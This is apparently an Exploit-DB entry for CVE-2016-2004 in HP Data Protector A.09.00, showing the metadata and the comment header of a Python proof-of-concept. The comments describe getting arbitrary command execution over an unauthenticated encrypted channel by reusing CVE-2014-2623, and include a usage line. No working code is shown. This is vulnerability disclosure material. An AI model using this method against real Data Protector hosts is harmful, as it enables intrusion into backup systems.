标题: HP Data Protector A.09.00 - Arbitrary Command Execution EDB-ID: 39858 CVE: 2016-2004 类型: REMOTE 平台: WINDOWS 发布日期: 2016-05-26 漏洞利用脚本: #!/usr/bin/python
#
# Exploit Title: Data Protector Encrypted Communications
# Date: 26-05-2016
# Exploit Author: Ian Lovering
# Vendor Homepage: http://www8.hp.com/uk/en/software-solutions/data-protector-backup-recovery-software/
# Version: A.09.00 and earlier
# Tested on: Windows Server 2008
# CVE : CVE-2016-2004
#

#   This proof of concept demonstrates that enabling encrypted control communication on
#   Data Protector agents does not provide any additional security.
#   As is provides no authentication it is not a viable workaround to prevent the
#   exploitation of well known Data Protector issues such as cve-2014-2623
#
#   This exploit establishes and unauthenticated encrypted communication channel to 
#   a Data Protector Agent and uses a well known unencrypted Data Protector vulnerability
#   to run arbitrary commands on the target.

#   Tested on Kali Linux 2 with python 2.7.9
#   Tested against Data Protector A.09.00 (Internal Build version 88) with encrypted control
#   communication enabled.
#   All other Data Protector settings are default.
#   Tested against Data Protector agent running on Windows 2008 R2
#   Also tested against Data Protector A.07
#
#   encrypted-dataprotector.py -e <ipaddress>
#
#   By default runs ipconfig on the target. 
#   Can take a little while to return. Have patience ;)
#
#   CVE-2016-2004
